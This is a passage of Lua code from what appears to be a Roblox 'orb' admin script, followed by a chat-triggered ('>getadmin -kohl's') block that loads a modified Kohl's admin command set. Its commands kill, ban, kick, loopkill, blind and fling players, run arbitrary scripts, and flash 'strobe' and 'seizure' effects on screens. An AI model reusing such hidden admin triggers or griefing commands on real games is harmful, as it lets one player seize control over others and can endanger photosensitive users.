- if v:IsA("BasePart") or v:IsA("Decal") then
- v.Transparency=1
- end
- visi(v)
- end
- end visi(v.Character)
- end
- end
- end
- iCmd.invisi=function(player) iCmd.invisible(player) end
- iCmd.visible=function(player)
- player=iGetPlayer(player)
- iPCmd(player,"Pink")
- for _,v in pairs(player) do
- if v.Character~=nil then
- if v==iOrb.Player then if not iOrb.Orbed then iCmd.show('') end end
- function visi(path)
- for _,v in pairs(path:GetChildren())do
- if v:IsA("BasePart") or v:IsA("Decal") then
- v.Transparency=0
- end
- visi(v)
- end
- end visi(v.Character)
- end
- end
- end
- iCmd.visi=function(player) iCmd.visible(player) end
- iCmd.fire=function(player)
- player=iGetPlayer(player)
- iPCmd(player,"Really red")
- for _,v in pairs(player) do
- if v.Character~=nil then
- function obj(path)
- for _,x in pairs(path:GetChildren())do
- if x:IsA("BasePart") then
- Instance.new("Fire",x)
- end obj(x)
- end
- end obj(v.Character)
- end
- end
- end
- iCmd.unfire=function(player)
- player=iGetPlayer(player)
- iPCmd(player,"Really red")
- for _,v in pairs(player) do
- if v.Character~=nil then
- function obj(path)
- for _,x in pairs(path:GetChildren())do
- if x:IsA("Fire") then
- x:remove()
- end obj(x)
- end
- end obj(v.Character)
- end
- end
- end
- iCmd.smoke=function(player)
- player=iGetPlayer(player)
- iPCmd(player,"Dark stone grey")
- for _,v in pairs(player) do
- if v.Character~=nil then
- function obj(path)
- for _,x in pairs(path:GetChildren())do
- if x:IsA("BasePart") then
- Instance.new("Smoke",x)
- end obj(x)
- end
- end obj(v.Character)
- end
- end
- end
- iCmd.unsmoke=function(player)
- player=iGetPlayer(player)
- iPCmd(player,"Dark stone grey")
- for _,v in pairs(player) do
- if v.Character~=nil then
- function obj(path)
- for _,x in pairs(path:GetChildren())do
- if x:IsA("Smoke") then
- x:remove()
- end obj(x)
- end
- end obj(v.Character)
- end
- end
- end
- iCmd.sparkles=function(player)
- player=iGetPlayer(player)
- iPCmd(player,"White")
- for _,v in pairs(player) do
- if v.Character~=nil then
- function obj(path)
- for _,x in pairs(path:GetChildren())do
- if x:IsA("BasePart") then
- Instance.new("Sparkles",x)
- end obj(x)
- end
- end obj(v.Character)
- end
- end
- end
- iCmd.unsparkles=function(player)
- player=iGetPlayer(player)
- iPCmd(player,"White")
- for _,v in pairs(player) do
- if v.Character~=nil then
- function obj(path)
- for _,x in pairs(path:GetChildren())do
- if x:IsA("Sparkles") then
- x:remove()
- end
- obj(x)
- end
- end obj(v.Character)
- end
- end
- end
- iCmd.god=function(player)
- player=iGetPlayer(player)
- iPCmd(player,"White")
- for _,v in pairs(player) do
- if v.Character~=nil then
- local _Info = {tostring(v.Name)}
- function obj(path)
- for _,x in pairs(path:GetChildren())do
- if x:IsA("BasePart") then
- local _Event = x.Touched:connect(function(part)
- part.Anchored = true
- coroutine.wrap(function()
- for i = 0, 1, 0.1 do wait()
- part.Transparency = i
- end
- part:remove()
- end)()
- end) table.insert(_Info, _Event)
- end obj(x)
- end
- end obj(v.Character)
- table.insert(iGod, _Info)
- end
- end
- end
- iCmd.ungod=function(player)
- player=iGetPlayer(player)
- iPCmd(player,"White")
- for i,gt in pairs(iGod)do
- for _,v in pairs(player) do
- if i:sub(1,v.Name:len()) == v.Name then
- table.remove(iGod, i)
- end
- end
- end
- end
- iCmd.unit=function(player) if iOrb.Orbed==true and game.Workspace.CurrentCamera~=nil then
- if player==nil or player=="" then game.Workspace.CurrentCamera.CoordinateFrame=CFrame.new(0,1,0) else
- player=iGetPlayer(player)
- for _,v in pairs(player)do
- if v.Character~=nil then
- if v.Character:FindFirstChild("Torso") then
- game.Workspace.CurrentCamera.CoordinateFrame=v.Character.Torso.CFrame
- game.Workspace.CurrentCamera.Focus=CFrame.new((v.Character.Torso.CFrame.lookVector)*1000)
- end
- end
- end end
- end end
- iStr.time=function(string)
- game:GetService("Lighting").TimeOfDay=string
- end
- iCmd.fogend=function(number)
- if tonumber(number,10) then game:GetService("Lighting").FogEnd=tonumber(number,10) end
- end
- iCmd.fogstart=function(number)
- if tonumber(number,10) then game:GetService("Lighting").FogStart=tonumber(number,10) end
- end
- iVal.fogcolor=function(x,y,z)
- game:GetService("Lighting").FogColor=Color3.new(x/255,y/255,z/255)
- end
- iVal.fcolor1=function(x,y,z) iOrb.FireColorChange=false
- iOrb.Fire.Color=Color3.new(x/255,y/255,z/255)
- end
- iVal.fcolor2=function(x,y,z) iOrb.FireColorChange=false
- iOrb.Fire.SecondaryColor=Color3.new(x/235,y/235,z/235)
- end
- iVal.fcolor=function(x,y,z) iOrb.FireColorChange=false
- iOrb.Fire.Color=Color3.new(x/255,y/255,z/255)
- iOrb.Fire.SecondaryColor=Color3.new(x/245,y/245,z/245)
- end
- iVal.ambient=function(x,y,z)
- game:GetService("Lighting").Ambient=Color3.new(x/255,y/255,z/255)
- end
- iCmd.nbc=function(player) player=iGetPlayer(player)
- for _,v in pairs(player) do
- coroutine.resume(coroutine.create(function() v.MembershipTypeReplicate = 0 end))
- end
- end
- iCmd.bc=function(player) player=iGetPlayer(player) iPCmd(player,"Cool yellow")
- for _,v in pairs(player) do
- coroutine.resume(coroutine.create(function() v.MembershipTypeReplicate = 1 end))
- end
- end
- iCmd.tbc=function(player) player=iGetPlayer(player) iPCmd(player,"Bright orange")
- for _,v in pairs(player) do
- coroutine.resume(coroutine.create(function() v.MembershipTypeReplicate = 2 end))
- end
- end
- iCmd.obc=function(player) player=iGetPlayer(player) iPCmd(player,"Black")
- for _,v in pairs(player) do
- coroutine.resume(coroutine.create(function() v.MembershipTypeReplicate = 3 end))
- end
- end
- iCmd.morning=function()
- coroutine.resume(coroutine.create(function()
- game:GetService("Lighting").TimeOfDay="6:30:00"
- game:GetService("Lighting").FogStart=0
- game:GetService("Lighting").FogEnd=100000
- game:GetService("Lighting").Ambient=Color3.new(165/255,165/255,165/255)
- end))
- end
- iCmd.day=function()
- coroutine.resume(coroutine.create(function()
- game:GetService("Lighting").TimeOfDay="12:00:00"
- game:GetService("Lighting").FogStart=0
- game:GetService("Lighting").FogEnd=100000
- game:GetService("Lighting").Ambient=Color3.new(170/255,170/255,170/255)
- end))
- end
- iCmd.evening=function()
- coroutine.resume(coroutine.create(function()
- game:GetService("Lighting").TimeOfDay="17:57:00"
- game:GetService("Lighting").FogStart=0
- game:GetService("Lighting").FogEnd=100000
- game:GetService("Lighting").FogColor=Color3.new(0,0,0)
- game:GetService("Lighting").Ambient=Color3.new(100/255,100/255,100/255)
- end))
- end
- iCmd.night=function()
- coroutine.resume(coroutine.create(function()
- game:GetService("Lighting").TimeOfDay="00:00:00"
- game:GetService("Lighting").FogStart=0
- game:GetService("Lighting").FogEnd=300
- game:GetService("Lighting").FogColor=Color3.new(0,0,0)
- game:GetService("Lighting").Ambient=Color3.new(20/255,20/255,20/255)
- end))
- end
- iCmd.base=function()
- coroutine.resume(coroutine.create(function()
- local base=Instance.new("Part",game.Workspace) base.Name="Base" base.Anchored=true base.Locked=true base.Size=Vector3.new(1000,1.2,1000) base.BrickColor=BrickColor.new("Camo") base.Material="Grass" base.CFrame=CFrame.new(0,0,0) base.BottomSurface="Smooth" base.TopSurface="Smooth"
- local spawn=Instance.new("SpawnLocation",base) spawn.Anchored=true spawn.Locked=true spawn.CanCollide=false spawn.Size=Vector3.new(1.2,1.2,1.2) spawn.Transparency=1 spawn.CFrame=CFrame.new(0,0,0)
- end))
- end
- iCmd.clear=function()
- coroutine.resume(coroutine.create(function() iOrb.Clearing=true
- for _,v in pairs(game.Workspace:GetChildren())do
- if not game.Players:GetPlayerFromCharacter(v) and v~=game.Workspace.CurrentCamera then
- if v:IsA("BaseScript") then v.Disabled=true end pcall(function() v:Destroy() end)
- end
- end
- for _,v in pairs(game:GetService("Lighting"):GetChildren())do
- if v:IsA("Sky") then
- v:Destroy()
- end
- end
- iCmd.day() iCmd.base() iOrb.Clearing=false
- end))
- end
- iCmd.terrainclear=function()
- for _,v in pairs(game.Workspace:GetChildren())do
- if v:IsA("Terrain") then v:Clear() end
- end
- end
- iCmd.rmsg=function()
- coroutine.resume(coroutine.create(function()
- for _,v in pairs(game.Workspace:GetChildren())do
- if v:IsA("Message") or v:IsA("Hint") then
- v:Destroy()
- end
- end
- for _,v in pairs(game.Players:GetPlayers())do
- if v:FindFirstChild("PlayerGui") then
- if v:IsA("Message") or v:IsA("Hint") then
- v:Destroy()
- end
- end
- end
- end))
- end
- iCmd.bt=function(player,toolname) player=iGetPlayer(player) iPCmd(player,"Navy blue")
- for _,v in pairs(player) do
- coroutine.resume(coroutine.create(function()
- if toolname == nil or toolname == "" and v==iOrb.Player then
- coroutine.resume(coroutine.create(iCreateBtools))
- end
- for i,t in pairs(iBuild) do
- if toolname == nil or toolname == "" then
- iInsertool(v,t)
- else
- if tostring(i) == toolname then
- iInsertool(v,t)
- end
- end
- end
- end)) end end
- iCmd.bts=function(player,toolname) iCmd.bt(player,toolname) end
- iCmd.btool=function(player,toolname) iCmd.bt(player,toolname) end
- iCmd.btools=function(player,toolname) iCmd.bt(player,toolname) end
- iCmd.gr=function(player,gearname) player=iGetPlayer(player) iPCmd(player,"Navy blue")
- for _,v in pairs(player) do
- coroutine.resume(coroutine.create(function()
- for i,t in pairs(iGears) do
- if gearname == nil or gearname == "" then
- iInsertool(v,t)
- else
- if tostring(i) == gearname then
- iInsertool(v,t)
- end
- end
- end
- end))
- end
- end
- iCmd.grs=function(player,gearname) iCmd.gr(player,gearname) end
- iCmd.gear=function(player,gearname) iCmd.gr(player,gearname) end
- iCmd.gears=function(player,gearname) iCmd.gr(player,gearname) end
- iCmd.rt=function(player) player=iGetPlayer(player) iPCmd(player,"Bright red")
- for _,v in pairs(player) do
- if v:FindFirstChild("Backpack") then
- for i,tools in pairs(v.Backpack:GetChildren())do
- tools:Destroy()
- end
- end
- if v.Character ~= nil then
- for i,tool in pairs(v.Character:GetChildren())do
- if tool:IsA("Tool") then
- tool:Destroy()
- end
- end
- end
- end
- end
- iCmd.rts=function(player) iCmd.rt(player) end
- iCmd.rtool=function(player) iCmd.rt(player) end
- iCmd.rtools=function(player) iCmd.rt(player) end
- iCmd.endorb=function()
- iOrb.runmsg=false iOrb.StopCheck=true iOrb.LoadAnimation=false iOrb.CreateOrb=false wait() iRemoveOrb(iOrb.DefaultParent) iRemoveOrb(game.Workspace.CurrentCamera) if iOrb.Orbed then iRemoveOrb(game.Workspace) end if iPrimaryChat~=nil then iPrimaryChat:disconnect() end if iSecondChat~=nil then iSecondChat:disconnect() end iOrb.Orb=nil iOrb.Part=false iOrb.Model=nil error("End of Orb Script")
- end
- iStr.help=function(string) iOrb.runmsg=true
- if string==nil or string=="" then
- iTypeMsg(" -> How to use Imike2's [qORBp] ? <-",2)
- iTypeMsg("Tip : if you want to stop printing help, say 'stop:'",2)
- iTypeMsg("Base of use -> command:argument",2)
- iTypeMsg("Type cmd: or cmds: or command: or commands: to print commands (won't work if help works)",2)
- iTypeMsg("You can search all the commands with kill in them -> cmd:kill",2)
- iTypeMsg("Type help:command to have more informations about a command and how to use it",2)
- iTypeMsg("If argument is a boolean, 'command:' or 'command:true' will enable the command",2)
- iTypeMsg("If you want to disable the command, say 'command:false'",2)
- iTypeMsg("If argument is a player, you can match name (Imi instead of Imike2), me for me, others for everyone exept you...",2)
- iTypeMsg("...and all, a space or nothing for everyone",2)
- iTypeMsg("Nothing for everyone mean for example 'kill:'. This command will kill everyone, same as 'kill: '.",2)
- iTypeMsg("Warning 1 ! If you type kill: me, you'll kill everyone because there is a space between 'kill:' and 'me'",2)
- iTypeMsg("Warning 2 ! If you type kill:n, you'll kill all the players with a name that begin by 'n'",2)
- iTypeMsg("If a command expects 2 arguments, say for example teleport: me (space between teleport: and me means eveyone)",2)
- iTypeMsg("There are several ways to execute a command with 2 or 3 arguments",2)
- iTypeMsg("A simple space -> fogcolor:255 255 255 | tele:others me",2)
- iTypeMsg("Two points : fogcolor:255:255:255 | tele:others:me",2)
- iTypeMsg("A slash : fogcolor:255/255/255 | tele:others/me",2)
- iTypeMsg("A comma : fogcolor:255,255,255 | tele:others,me",2)
- iTypeMsg("A dot : fogcolor:255.255.255 | tele:others.me",2)
- iTypeMsg("All the arguments between [ ] means that's an optional argument",2)
- iTypeMsg("If you want to execute a command for 2 or 3 players, separate names with '|'",2)
- iTypeMsg("Example 1 : kill:me|player2 (it will kill me and player2)",2)
- iTypeMsg("Example 2 : tele:me/player2|player4/player3 (it will teleport me to player2 and player4 to player3",2)
- elseif string~=nil and string~="" then
- for index,v in pairs(iCmd) do
- table.insert(iHlp,tostring(index))
- end
- for index,v in pairs(iStr) do
- table.insert(iHlp,tostring(index))
- end
- for index,v in pairs(iVal) do
- table.insert(iHlp,tostring(index))
- end
- for index,cmd in pairs(iHlp) do cmd=tostring(cmd) if cmd==string:lower() then if cmd=="help" then iTypeMsg("Print help or explain you how a command works -> "..cmd..":[command]",2)
- elseif cmd=="endorb" then iTypeMsg("Delete the orb -> "..cmd..":",2)
- elseif cmd=="rtools" then iTypeMsg("Remove player tools -> "..cmd..":player",2)
- elseif cmd=="rtool" then iTypeMsg("Remove player tools -> "..cmd..":player",2)
- elseif cmd=="rts" then iTypeMsg("Remove player tools -> "..cmd..":player",2)
- elseif cmd=="rt" then iTypeMsg("Remove player tools -> "..cmd..":",2)
- elseif cmd=="toolslist" then iTypeMsg("Print gears and building tools'name present in this orb -> "..cmd..":[string]",2)
- elseif cmd=="tl" then iTypeMsg("Print gears and building tools'name present in this orb -> "..cmd..":[string]",2)
- elseif cmd=="gears" then iTypeMsg("Give gears ( or a specific gear ) to player -> "..cmd..":player[:gearname]",2)
- elseif cmd=="gear" then iTypeMsg("Give gears ( or a specific gear ) to player -> "..cmd..":player[:gearname]",2)
- elseif cmd=="grs" then iTypeMsg("Give gears ( or a specific gear ) to player -> "..cmd..":player[:gearname]",2)
- elseif cmd=="gr" then iTypeMsg("Give gears ( or a specific gear ) to player -> "..cmd..":player[:gearname]",2)
- elseif cmd=="btools" then iTypeMsg("Give building tools -> "..cmd..":player[:toolname]",2)
- elseif cmd=="btool" then iTypeMsg("Give building tools -> "..cmd..":player[:toolname]",2)
- elseif cmd=="bts" then iTypeMsg("Give building tools -> "..cmd..":player[:toolname]",2)
- elseif cmd=="bt" then iTypeMsg("Give building tools -> "..cmd..":player[:toolname]",2)
- elseif cmd=="rmsg" then iTypeMsg("Remove messsages -> "..cmd..":",2)
- elseif cmd=="terrainclear" then iTypeMsg("Remove all the terrain bricks -> "..cmd..":",2)
- elseif cmd=="clear" then iTypeMsg("Clear workspace and spawn a base -> "..cmd..":",2)
- elseif cmd=="base" then iTypeMsg("Spawn a base -> "..cmd..":",2)
- elseif cmd=="night" then iTypeMsg("Change the current day to night -> "..cmd..":",2)
- elseif cmd=="evening" then iTypeMsg("Change the current day to evening -> "..cmd..":",2)
- elseif cmd=="morning" then iTypeMsg("Change the current day to morning -> "..cmd..":",2)
- elseif cmd=="day" then iTypeMsg("Change the current day to midday -> "..cmd..":",2)
- elseif cmd=="obc" then iTypeMsg("Set player membership to outrageous builders club -> "..cmd..":player",2)
- elseif cmd=="tbc" then iTypeMsg("Set player membership to turbo builders club -> "..cmd..":player",2)
- elseif cmd=="bc" then iTypeMsg("Set player membership to builders club -> "..cmd..":player",2)
- elseif cmd=="nbc" then iTypeMsg("Set player membership to none -> "..cmd..":player",2)
- elseif cmd=="ambient" then iTypeMsg("Change game ambient -> "..cmd..":color1,color2,color3",2)
- elseif cmd=="fcolor" then iTypeMsg("Change fire primary color and secondary color of orb -> "..cmd..":color1,color2,color3",2)
- elseif cmd=="fcolor1" then iTypeMsg("Change fire primary color of orb -> "..cmd..":",2)
- elseif cmd=="fcolor2" then iTypeMsg("Change fire secondary color of orb -> "..cmd..":",2)
- elseif cmd=="fogstart" then iTypeMsg("Set Fog Start value -> "..cmd..":value",2)
- elseif cmd=="fogend" then iTypeMsg("Set Fog End value -> "..cmd..":value",2)
- elseif cmd=="time" then iTypeMsg("Change game time -> "..cmd..":hour:minute:second",2)
- elseif cmd=="unit" then iTypeMsg("When you're an orb, teleport you to vector 0,0,0 or player position -> "..cmd..":[player]",2)
- elseif cmd=="fogcolor" then iTypeMsg("Change Fog Color -> "..cmd..":color1,color2,color3",2)
- elseif cmd=="show" then iTypeMsg("Makes visible your orb -> "..cmd..":",2)
- elseif cmd=="hide" then iTypeMsg("Makes invisible your orb -> "..cmd..":",2)
- elseif cmd=="unsparkles" then iTypeMsg("Remove player sparkles -> "..cmd..":player",2)
- elseif cmd=="sparkles" then iTypeMsg("Sparkles player -> "..cmd..":player",2)
- elseif cmd=="unsmoke" then iTypeMsg("Remove player smoke -> "..cmd..":player",2)
- elseif cmd=="smoke" then iTypeMsg("Smoke player -> "..cmd..":player",2)
- elseif cmd=="unfire" then iTypeMsg("Remove player fire -> "..cmd..":player",2)
- elseif cmd=="fire" then iTypeMsg("Fire player -> "..cmd..":player",2)
- elseif cmd=="visi" then iTypeMsg("Makes player visible -> "..cmd..":player",2)
- elseif cmd=="visible" then iTypeMsg("Makes player visible -> "..cmd..":player",2)
- elseif cmd=="invisi" then iTypeMsg("Makes player invisible -> "..cmd..":",2)
- elseif cmd=="invisible" then iTypeMsg("Makes player invisible -> "..cmd..":player",2)
- elseif cmd=="unlock" then iTypeMsg("Lock player -> "..cmd..":player",2)
- elseif cmd=="lock" then iTypeMsg("Unlock player -> "..cmd..":player",2)
- elseif cmd=="freeze" then iTypeMsg("Freeze player -> "..cmd..":player",2)
- elseif cmd=="unfreeze" then iTypeMsg("Thaw player -> "..cmd..":player",2)
- elseif cmd=="thaw" then iTypeMsg("Thaw player -> "..cmd..":player",2)
- elseif cmd=="rename" then iTypeMsg("Rename orb -> "..cmd..":string",2)
- elseif cmd=="damage" then iTypeMsg("Damage player -> "..cmd..":player,number",2)
- elseif cmd=="dmg" then iTypeMsg("Damage player -> "..cmd..":player,number",2)
- elseif cmd=="find" then iTypeMsg("Find player position using orb ray -> "..cmd..":player",2)
- elseif cmd=="sethealth" then iTypeMsg("Change player health -> "..cmd..":player,number",2)
- elseif cmd=="setname" then iTypeMsg("Change local character name -> "..cmd..":string",2)
- elseif cmd=="sn" then iTypeMsg("Change local character name -> "..cmd..":string",2)
- elseif cmd=="undead" then iTypeMsg("Give infinite health to player -> "..cmd..":player",2)
- elseif cmd=="heal" then iTypeMsg("Heal player -> "..cmd..":player",2)
- elseif cmd=="ps" then iTypeMsg("Platformstand player -> "..cmd..":player",2)
- elseif cmd=="platformstand" then iTypeMsg("Platformstand player -> "..cmd..":player",2)
- elseif cmd=="sit" then iTypeMsg("Sit player -> "..cmd..":player",2)
- elseif cmd=="jump" then iTypeMsg("Jump player -> "..cmd..":player",2)
- elseif cmd=="ws" then iTypeMsg("Change player walk speed -> "..cmd..":player,number",2)
- elseif cmd=="walkspeed" then iTypeMsg("Change player walk speed -> "..cmd..":player,number",2)
- elseif cmd=="grav" then iTypeMsg("Restore normal player gravity -> "..cmd..":player",2)
- elseif cmd=="gravity" then iTypeMsg("Restore normal player gravity -> "..cmd..":player",2)
- elseif cmd=="nograv" then iTypeMsg("Change player gravity -> "..cmd..":player",2)
- elseif cmd=="nogravity" then iTypeMsg("Change player gravity -> "..cmd..":player",2)
- elseif cmd=="setgrav" then iTypeMsg("Change player gravity by your value -> "..cmd..":player,number",2)
- elseif cmd=="setgravity" then iTypeMsg("Change player gravity by your value -> "..cmd..":player,number",2)
- elseif cmd=="renew" then iTypeMsg("Delete current orb and makes a new one -> "..cmd..":",2)
- elseif cmd=="drop" then iTypeMsg("Release player from your orb -> "..cmd..":player",2)
- elseif cmd=="release" then iTypeMsg("Release player from your orb -> "..cmd..":player",2)
- elseif cmd=="grab" then iTypeMsg("Grab player to your orb -> "..cmd..":player",2)
- elseif cmd=="tto" then iTypeMsg("Teleport player to your orb -> "..cmd..":player",2)
- elseif cmd=="teletoorb" then iTypeMsg("Teleport player to your orb -> "..cmd..":player",2)
- elseif cmd=="tp" then iTypeMsg("Teleport player1 to player2 -> "..cmd..":player1,player2",2)
- elseif cmd=="teleport" then iTypeMsg("Teleport player1 to player2 -> "..cmd..":player1,player2",2)
- elseif cmd=="tele" then iTypeMsg("Teleport player1 to player2 -> "..cmd..":player1,player2",2)
- elseif cmd=="tower" then iTypeMsg("Rise player on a tower (max duration time -> 120 sec.) -> "..cmd..":player[:height[:duration]]",2)
- elseif cmd=="skydive" then iTypeMsg("Skydive player -> "..cmd..":player",2)
- elseif cmd=="unff" then iTypeMsg("Give forcefield to player -> "..cmd..":player",2)
- elseif cmd=="ff" then iTypeMsg("Give forcefield to player -> "..cmd..":player",2)
- elseif cmd=="pun" then iTypeMsg("Punish player -> "..cmd..":player",2)
- elseif cmd=="punish" then iTypeMsg("Punish player -> "..cmd..":player",2)
- elseif cmd=="unpun" then iTypeMsg("Unpunish player -> "..cmd..":player",2)
- elseif cmd=="unpunish" then iTypeMsg("Unpunish player -> "..cmd..":player",2)
- elseif cmd=="resp" then iTypeMsg("Respawn player -> "..cmd..":player",2)
- elseif cmd=="respawn" then iTypeMsg("Respawn player -> "..cmd..":player",2)
- elseif cmd=="expl" then iTypeMsg("Explode player (if you're an orb and say expl:me, it will explode your orb) -> "..cmd..":player",2)
- elseif cmd=="explode" then iTypeMsg("Explode player (if you're an orb and say explode:me, it will explode your orb) -> "..cmd..":player",2)
- elseif cmd=="char" then iTypeMsg("Load your character (doesn't work when you're kicked) -> "..cmd..":",2)
- elseif cmd=="orb" then iTypeMsg("Makes you into orb -> "..cmd..":",2)
- elseif cmd=="unban" then iTypeMsg("Unban player -> "..cmd..":player",2)
- elseif cmd=="ban" then iTypeMsg("Ban player -> "..cmd..":player",2)
- elseif cmd=="fly" then iTypeMsg("Give you a fly tool I scripted -> "..cmd..":",2)
- elseif cmd=="banlist" then iTypeMsg("Print banned list -> "..cmd..":",2)
- elseif cmd=="kick" then iTypeMsg("Kick player -> "..cmd..":player",2)
- elseif cmd=="lkl" then iTypeMsg("Loopkill player -> "..cmd..":player",2)
- elseif cmd=="loopkill" then iTypeMsg("Loopkill player -> "..cmd..":player",2)
- elseif cmd=="unlkl" then iTypeMsg("Unloopkill player -> "..cmd..":player",2)
- elseif cmd=="unloopkill" then iTypeMsg("Unloopkill player -> "..cmd..":player",2)
- elseif cmd=="kl" then iTypeMsg("Kill player -> "..cmd..":player",2)
- elseif cmd=="kill" then iTypeMsg("Kill player -> "..cmd..":player",2)
- elseif cmd=="x" then iTypeMsg("Set x base position from your torso -> "..cmd..":number",2)
- elseif cmd=="y" then iTypeMsg("Set y base position from your torso -> "..cmd..":number",2)
- elseif cmd=="z" then iTypeMsg("Set z base position from your torso -> "..cmd..":number",2)
- elseif cmd=="fheat" then iTypeMsg("Set heat of orb fire -> "..cmd..":number",2)
- elseif cmd=="fsize" then iTypeMsg("Set size of orb fire -> "..cmd..":number",2)
- elseif cmd=="tsize" then iTypeMsg("Set size of orb trail -> "..cmd..":number",2)
- elseif cmd=="levirise" then iTypeMsg("Set maximum levitation rise of orb -> "..cmd..":number",2)
- elseif cmd=="rotspeed" then iTypeMsg("Set rotation speed of orb if it turn (max:360) -> "..cmd..":number",2)
- elseif cmd=="levispeed" then iTypeMsg("Set levitation rise speed of orb -> "..cmd..":number",2)
- elseif cmd=="particles" then iTypeMsg("Enable or disable particles -> "..cmd..":boolean",2)
- elseif cmd=="localorb" then iTypeMsg("If enabled, only you will see your orb -> "..cmd..":boolean",2)
- elseif cmd=="move" then iTypeMsg("If disabled, orb won't move -> "..cmd..":boolean",2)
- elseif cmd=="fchange" then iTypeMsg("If enabled, fire color of orb will change from black to white automaticaly -> "..cmd..":boolean",2)
- elseif cmd=="fena" then iTypeMsg("Enable or disable orb fire -> "..cmd..":boolean",2)
- elseif cmd=="tena" then iTypeMsg("Enable or disable orb trail -> "..cmd..":boolean",2)
- elseif cmd=="turn" then iTypeMsg("If enabled, your orb will turn around you -> "..cmd..":boolean",2)
- elseif cmd=="sc" then iTypeMsg("Execute script -> "..cmd..":script",2)
- elseif cmd=="cmd" then iTypeMsg("Print all the commands or print commands containing string -> "..cmd..":[string]",2)
- elseif cmd=="cmds" then iTypeMsg("Print all the commands or print commands containing string -> "..cmd..":[string]",2)
- elseif cmd=="command" then iTypeMsg("Print all the commands or print commands containing string -> "..cmd..":[string]",2)
- elseif cmd=="commands" then iTypeMsg("Print all the commands or print commands containing string -> "..cmd..":[string]",2)
- elseif cmd=="stop" then iTypeMsg("Stop printing commands or help -> "..cmd..":",2)
- else iTypeMsg("Unknown or non-existing help for this command...",2) end end end
- for i = #iHlp, 1, -1 do
- table.remove(iHlp,i)
- end
- end iOrb.runmsg=false
- end
- --iStr.sc=function(string) coroutine.wrap(function() loadstring(string)() end)() end
- iStr.cmd=function(string) iHintCmd(string) end
- iStr.cmds=function(string) iHintCmd(string) end
- iStr.command=function(string) iHintCmd(string) end
- iStr.commands=function(string) iHintCmd(string) end
- iStr.toolslist=function(string) iHintTools(string) end
- iStr.tl=function(string) iHintTools(string) end
- iCmd.stop=function() iOrb.runmsg=false end
- -- Run iBan --
- game.Players.ChildAdded:connect(banPlayers)
- coroutine.resume(coroutine.create(function() for _,v in pairs(game.Players:GetPlayers())do banPlayers(v) end end))
- -- vinson1002--
- end
- if text == ">getadmin -kohl's" then
- -----------------------------------
- -- Modified by XxAngelusMortisxX --
- -----------------------------------
- local owners = {"w4k"} -- Are able to set admins who can ban/etc... using :pa name
- local admins = {"XxAngelusMortisxX,ghs098,aznboi819,bubbleglop"} -- Sets admins who can use ban/kick/admin or shutdown
- local tempadmins = {santa64} -- Sets admins who can't use ban/kick/admin or shutdown
- local banland = {"MasterKhaos,catman9876"} -- Permanently Bans people
- local prefix = ":" -- If you wanna change how your commands start ':'kill noob
- local AutoUpdate = true -- Set to false if you don't want it to automatically update
- -----------------
- -- Group Admin --
- -----------------
- local GroupAdmin = false -- If a certain group can have admin
- local GroupId = 0 -- Sets the group id that can have admin
- local GroupRank = 0 -- Sets what rank and above a person has to be in the group to have admin
- local FunCommands = true -- Set to false if you only want the basic commands (For Strict Places)
- ---------------------
- -- Tips and Tricks --
- ---------------------
- --[[
- With this admin you can do a command on multiple people at a time;
- :kill me,noob1,noob2,random,team-raiders
- You can also use a variety commands for different people;
- all
- others
- me
- team-
- admins
- nonadmins
- random
- --]]
- --------------
- -- Commands --
- --------------
- --[[
- -- Temp Admin Commands --
- 0. clean -- Is a command anyone can use to remove hats/tools lagging up the place
- 1. :s print("Hello World") -- Lets you script normally
- 2. :ls print("Hello World") -- Lets you script in localscripts
- 3. :clear -- Will remove all scripts/localscripts and jails
- 4. :m Hello People -- This commands will let you shout a message to everyone on the server
- 5. :kill kohl -- Kills the player
- 6. :respawn kohl -- Respawns the player
- 7. :trip kohl -- Trips the player
- 8. :stun kohl -- Stuns the player
- 9. :unstun kohl -- Unstuns the player
- 10. :jump kohl -- Makes the player jump
- 11. :sit kohl -- Makes the player sit
- 12. :invisible kohl -- Makes the player invisible
- 13. :visible kohl -- Makes the player visible
- 14. :explode kohl -- Makes the player explode
- 15. :fire kohl -- Sets the player on fire
- 16. :unfire kohl -- Removes fire from the player
- 17. :smoke kohl -- Adds smoke to the player
- 18. :unsmoke kohl -- Removes smoke from the player
- 19. :sparkles kohl -- Adds sparkles to the player
- 20. :unsparkles kohl -- Removes sparkles from the player
- 21. :ff kohl -- Adds a forcefield to the player
- 22. :unff kohl -- Removes the forcefield from the player
- 23. :punish kohl -- Punishes the player
- 24. :unpunish kohl -- Unpunishes the player
- 25. :freeze kohl -- Freezes the player
- 26. :thaw kohl -- Thaws the player
- 27. :heal kohl -- Heals the player
- 28. :god kohl -- Makes the player have infinite health
- 29. :ungod kohl -- Makes the player have 100 health
- 30. :ambient .5 .5 .5 -- Changes the ambient
- 31. :brightness .5 -- Changes the brightness
- 32. :time 12 -- Changes the time
- 33. :fogcolor .5 .5 .5 -- Changes the fogcolor
- 34. :fogend 100 -- Changes the fogend
- 35. :fogstart 100 -- Changes the fogstart
- 36. :removetools kohl -- Removes all tools from the player
- 37. :btools kohl -- Gives the player building tools
- 38. :give kohl sword -- Gives the player a tool
- 39. :damage kohl -- Damages the player
- 40. :grav kohl -- Sets the player's gravity to normal
- 41. :setgrav kohl 100 -- Sets the player's gravity
- 42. :nograv kohl -- Makes the player have 0 gravity
- 43. :health kohl 1337 -- Changes the player's health
- 44. :speed kohl 1337 -- Changes the player's walkspeed
- 45. :name kohl potato -- Changes the player's name
- 46. :unname kohl -- Remove the player's name
- 47. :team kohl Raiders -- Changes the player's team
- 48. :stopmusic -- Will stop all music playing in the server
- 49. :teleport kohl potato -- Teleports the player
- 50. :change kohl kills 1337 -- Changes a player's stat
- 51. :kick kohl -- Removes the player from the game
- 52. :infect kohl -- Turns the player into a zombie
- 53. :rainbowify kohl -- Turns the player into a rainbow
- 54. :flashify kohl -- Turns the player into a strobe
- 55. :noobify kohl -- Turns the player into a noob
- 56. :ghostify kohl -- Turns the player into a ghost
- 57. :goldify kohl -- Turns the player into gold
- 58. :shiny kohl -- Makes the player shiny
- 59. :normal kohl -- Puts the player back to normal
- 60. :trippy kohl -- Spams random colors on the player's screen
- 61. :untrippy kohl -- Untrippys the player
- 62. :strobe kohl -- Spams white and black on the player's screen
- 63. :unstrobe kohl -- Unstrobes the player
- 64. :blind kohl -- Blinds the player
- 65. :unblind kohl -- Unblinds the player
- 66. :guifix kohl -- Will fix trippy/strobe/blind on a player
- 67. :fling kohl -- Flings the player
- 68. :seizure kohl -- Puts the player in a seizure
- 69(lol). :music 1337 -- Plays a sound from the ID
- 70. :lock kohl -- Locks the player
- 71. :unlock kohl -- Unlocks the player
- 72. :removelimbs kohl -- Removes the player's limbs
